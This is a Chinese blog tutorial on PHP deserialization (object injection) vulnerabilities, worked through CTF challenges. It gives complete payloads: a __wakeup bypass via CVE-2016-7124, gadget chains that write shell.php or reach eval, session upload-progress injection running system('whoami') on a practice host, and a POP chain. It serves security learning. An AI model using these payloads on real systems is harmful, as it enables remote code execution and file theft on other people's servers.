对象注入(反序列化漏洞)
April 17, 2019 WEB安全 访问: 28 次
序列化和反序列化给我们提供了一种简单的方法用来传递对象
漏洞形成原因
序列化和反序列化操作本质上来说是没有危害的,那么形成漏洞的原因是:用户可控的数据进行序列化和反序列化,因此,关键还是在于可控不可控
涉及到的函数
serialize: 产生一个可存储的值的表示
serialize ( mixed $value ) : string
serialize() 返回字符串,此字符串包含了表示 value 的字节流,可以存储于任何地方。
这有利于存储或传递 PHP 的值,同时不丢失其类型和结构。
想要将已序列化的字符串变回 PHP 的值,可使用 unserialize()。serialize() 可处理除了 resource 之外的任何类型。甚至可以 serialize() 那些包含了指向其自身引用的数组。你正 serialize() 的数组/对象中的引用也将被存储。
当序列化对象时,PHP 将试图在序列动作之前调用该对象的成员函数 __sleep()。这样就允许对象在被序列化之前做任何清除操作。类似的,当使用 unserialize() 恢复对象时, 将调用 __wakeup() 成员函数。
unserialize:从已存储的表示中创建 PHP 的值
unserialize ( string $str ) : mixed
unserialize() 对单一的已序列化的变量进行操作,将其转换回 PHP 的值。
函数作用分析
可以序列化的变量类型:int、double、布尔、数组、字符串、对象
<?php
$bool_t = True;
$bool_f = False;
echo '$bool_t-> '.serialize($bool_t)."\n";
echo '$bool_f-> '.serialize($bool_f)."\n";
$int = 123;
echo '$int-> '.serialize($int)."\n";
$double = 123.000;
echo '$double-> '.serialize($double)."\n";
$Null = Null;
echo '$Null-> '.serialize($Null)."\n";
$string = "radish";
echo '$string-> '.serialize($string)."\n";
$array = array(1,2,3,4,5,6);
echo '$array-> '.serialize($array)."\n";
class class_test
{
public $str="123";
}
$object = new class_test();
echo '$object-> '.serialize($object)."\n";
?>
输出:
特殊变量类型-->对象
在类中,属性可以有三种方式,public、protected、private,不同的属性经过序列化之后会有细微的不同
public
<?php
class test_public{
public $a = "123";
}
class test_protected{
protected $a = "123";
}
class test_private{
private $a = "123";
}
$obj_1 = new test_public();
echo serialize($obj_1)."\n";
$obj_2 = new test_protected();
echo serialize($obj_2)."\n";
$obj_3 = new test_private();
echo serialize($obj_3)."\n";
?>
out:
➜ html php test.php
O:11:"test_public":1:{s:1:"a";s:3:"123";}
O:14:"test_protected":1:{s:4:"*a";s:3:"123";}
O:12:"test_private":1:{s:15:"test_privatea";s:3:"123";}
➜ html
如果直接输出的话不同之处可能显示的不太完整,我们把输出写进文件里面
➜ html php test.php > out.txt
利用hexdump来查看该文件的16进制
可以看出来public属性什么都没有加,protected属性在前面加了一个*号,private属性在前面加上了自己的类名,在protected、private属性加上的前缀值和变量名字前面都有00字节来填充
这个细节在我们后面构造payload的时候是很重要的
类中的魔法函数
构造函数:(__construct())对象初始化时会自动调用此方法
<?php
class test{
public $test;
public function __construct()
{
echo "I am __construct";
}
}
$obj = new test();
echo "\ntest\n";
?>
输出:
➜ html php index.php
I am __construct
test
➜ html
析构函数:(__destruct())对象销毁的时候自动调用
- 用户自动销毁对象(unset($obj_name))
- 当程序结束时由引擎自动销毁(也就是页面执行结束的时候)
<?php
class test{
public $test;
public function __destruct()
{
echo "I am __destruct";
}
}
$obj = new test();
echo "\ntest\n";
?>
输出:(注意输出顺序)
➜ html php index.php
test
I am __destruct% ➜ html
__toString:
(public __toString ( void ) : string)
该方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。
<?php
class baby
{
public $test="test";
function __toString()
{
return "I am __toString";
}
}
$a = new baby();
echo $a;
?>
out:
➜ html php index.php
I am __toString% ➜ html
CTF实例:(安恒杯月赛)
<?php
@error_reporting(1);
include 'flag.php';
class baby
{
public $file;
function __toString()
{
if(isset($this->file))
{
$filename = "./{$this->file}";
if (file_get_contents($filename))
{
return file_get_contents($filename);
}
}
}
}
if (isset($_GET['data']))
{
$data = $_GET['data'];
preg_match('/[oc]:\d+:/i',$data,$matches);
if(count($matches))
{
die('Hacker!');
}
else
{
$good = unserialize($data);
echo $good;
}
}
else
{
highlight_file("./test.php");
}
?>
通过代码审计可以得知这道题是通过反序列化触发toString函数从而实现任意文件包含,触发漏洞点在于把反序列化的对象直接用echo输出,那么会自动调用baby类中__toString魔术函数
在本地构造读取flag.php的类和对象
<?php
class baby
{
public $file="flag.php";
}
$a = new baby();
echo serialize($a);
?>
payload:?data=O:4:"baby":1:{s:4:"file";s:8:"flag.php";}
发现不行,程序通过正则表达式限制了可控的参数,不能是o/c:数字(大小写不敏感)
看别人wp上在“:”后面加一个+号可以绕过,但是由于是get传参,需要先进行url编码在进行传参
最后payload:
?data=O:%2b4:"baby":1:{s:4:"file";s:8:"flag.php";}
__sleep()
当一个对象将要反序列化之前的话、会先检查该类中是否存在__sleep魔术方法,方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误。
__call()
当调用一个类中没有的函数时,如果类中存在__call函数,那么会先调用这个函数,该方法有两个参数,第一个参数 $function_name 会自动接收不存在的方法名,第二个 $args 则以数组的方式接收不存在方法的多个参数。
<?php
class test
{
public function __call($a,$b)
{
echo "I am __call!";
}
}
$a = new test();
$a->hahah();
?>
可以看到实例化一个对象,之后又调用了类里面没有的函数,根据页面输入可以判断出成功的执行了__call函数
__invoke
当一个类被当做函数调用的时候,会默认先执行该魔术方法
<?php
class test
{
public function __invoke($a,$b)
{
echo "I am __invoke!";
}
}
$a = new test();
$a();
?>
__wakeup()
经常用在反序列化操作中
利用到__wakeup()的CTF例题
<?php
class SoFun{
protected $file='index.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
else
die('Wrong filename.');
}
}
function __wakeup(){
$this-> file='index.php';
}
public function __toString(){
return '';
}
}
if (!isset($_GET['file'])){
show_source('index.php');
}
else{
$file=base64_decode($_GET['file']);
echo unserialize($file);
}
//key in flag.php
?>
通过代码审计我们发现可以控制反序列化的参数,其中有一个类的析构函数是根据类中的$file属性来show_source $file的文件,但是其中有一个__wakeup魔术函数,这个函数实在反序列化对象后先调用的,在这个函数中把$file直接赋值成index.php,导致到析构函数读取的文件是index.php,题目提示key在flag.php中,那么我们就应该读取flag.php,这里需要绕过__wakeup函数,利用的漏洞是CVE-2016-7124
漏洞利用过程:当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
本地测试:
<?php
class test{
public $test = "123";
public function __wakeup()
{
$this->test="456";
}
public function __destruct()
{
echo $this->test;
}
}
// $a = new test();
// echo serialize($a);
unserialize('O:4:"test":1:{s:4:"test";s:3:"123";}')
?>
首先我们先实例化一个对象,并将其反序列化
O:4:"test":1:{s:4:"test";s:3:"123";}
将正常序列化的对象直接给反序列化,页面输出456,也就是说执行了__wakeup函数,那么我们把序列化字符串中表示属性个数的值修改成比原来大的任意数,页面返回123,说明没有执行__wakeup函数,完美绕过
然后在对应这一道题,先实例化一个对象
<?php
class test{
public $file="flag.php";
}
$obj = new test();
echo serialize($obj);
?>
#O:4:"test":1:{s:7:"*file";s:8:"flag.php";}
这里需要注意的是属性值是protect,我们需要在*和file前面加上00字节,在进行base64加密一下
import base64
data = 'O:5:"SoFun":2:{s:7:"\x00*\x00file";s:8:"flag.php";}'
print base64.b64encode(data)
# Tzo1OiJTb0Z1biI6Mjp7czo3OiIAKgBmaWxlIjtzOjg6ImZsYWcucGhwIjt9
类似与ROP的构造payload
<?php
class ph0en1x{
function __construct($test){
$fp = fopen("shell.php","w") ;
fwrite($fp,$test);
fclose($fp);
}
}
class chybeta{
var $test = '123';
function __wakeup(){
$obj = new ph0en1x($this->test);
}
}
$class5 = $_GET['test'];
print_r($class5);
echo "</br>";
$class5_unser = unserialize($class5);
require "shell.php";
?>
我们虽然不能够直接去实例化一个ph0en1x类,但是我们可以通过反序列化chybeta类的一个对象,然后触发__wakeup函数从而控制ph0en1x对象的写入
payload:(被url编码)
http://192.168.1.147/test/?test=O:7:%22chybeta%22:1:{s:4:%22test%22;s:18:%22%3C?php%20phpinfo();?%3E%22;}
普通成员函数
<?php
highlight_file("index.php");
class chybeta {
var $test;
function __construct() {
$this->test = new ph0en1x();
}
function __destruct()
{
$this->test->action();
}
}
class ph0en1x {
function action() {
echo "ph0en1x";
}
}
class ph0en2x {
var $test2;
function action() {
eval($this->test2);
}
}
$class6 = new chybeta();
@unserialize($_GET['test']);
?>
应对这道题,我们可以利用chybeta做一个跳板来利用ph0en2x类,从而执行eval函数
构造
<?php
class chybeta {
var $test;
function __construct() {
$this->test = new ph0en2x();
}
}
class ph0en2x {
public $test2 = "phpinfo();";
}
$a = new chybeta();
echo serialize($a);
?>
payload:
O:7:"chybeta":1:{s:4:"test";O:7:"ph0en2x":1:{s:5:"test2";s:10:"phpinfo();";}}
发现成功执行了phpinfo();
通过这道题可以发现一个细节,当反序列化一个对象的时候,并不执行构造函数,原因是对象已经实例化了
session反序列化漏洞
在总结文件包含的的时候我们可以通过对session注入php代码,然后再进行包含session文件,从而执行我们想要执行的php代码
如果我们仔细观察服务器中session文件中的东西的话,会发现我们输入的字符串被反序列化存储在文件中
PHP在session存储和读取的时候,都会有一个序列化和反序列化的过程,PHP内置了多种处理用于存取$_SESSION数据,都会对数据进行序列化和反序列话
和session有关的信息可以在phpinfo上详细看到
session.save_path | 设置session的存储路径 |
session.save_handler | 设定用户自定义存储函数 |
session.auto_start | 指定会话模块是否在请求开始时启动一个会话 |
session.serialize_handler | 定义用来序列化/反序列化的处理器名字。默认使用php除了默认的session序列化引擎php外,还有几种引擎,不同引擎存储方式不同 |
- php_binary 键名的长度对应的ASCII字符+键名+经过serialize() 函数反序列处理的值
- php 键名+竖线+经过serialize()函数反序列处理的值
- php_serialize serialize()函数反序列处理数组方式
存储机制
在文件包含中已经写过这个,在php中session是以文件的方式来存储的,文件名是sess_sessionid命名,文件内容是session序列化之后的值
利用条件
- 页面设置session.serialize_handler和php.ini设置的不一样
- session.upload_progress.enabled为On
- session.upload_progress.cleanup为Off
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session。
这里用OJ平台上的一个题来做演示
题目地址
题目给出源码:
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
可以查看phpinfo,在phpinfo发现中发现几个要点
关于可以造成session序列化漏洞的:
敏感路径:
漏洞利用
首先我们构造payload:
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
</body>
</html>
构造反序列话的类,使我们能够利用OowoO类
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'system("whoami");';
}
function __destruct()
{
eval($this->mdzz);
}
}
$a = new OowoO();
echo serialize($a);
生成反序列的类:(防止引号出问题,加反斜杠转义)
O:5:\"OowoO\":1:{s:4:\"mdzz\";s:17:\"system(\"whoami\");\";}
我们用bp抓住刚刚建的html文件的包,把filename改成payload,这里需要注意的是前面必须加上一个“|”
发现执行命令成功,那么现在开始寻找flag,通过执行system(ls")我发现ls出来的是在根目录下,通过phpinfo找到网站的根目录,用ls读取这个目录,我试的时候发现读不出来,,所以我们换用php代码来读取本目录下的文件
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
发现flag文件
在进行读取这个文件,得到flag:
POP链构造
POP链和pwn中的ROP链相似,都是控制程序的流程走向
这里不在详细描述,用一个例子来看一下POP链的构造:
代码
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$a = $_GET['string'];
unserialize($a);
?>
根据一层一层的关系写入来构造payload的代码:
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new Call();
}
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new funct();
}
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new func();
}
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1=new string1();
}
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __construct()
{
$this->str1=new GetFlag();
}
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."flag{hahahahahahaha……}";
}
}
$a = new start_gg();
echo serialize($a);
?>
根据这个我们可以得到payload,再通过get传参进行,得到flag
通过这里例子我发现了如果要对类中属性赋值new(新类),那么需要用到函数,直接赋值可能不对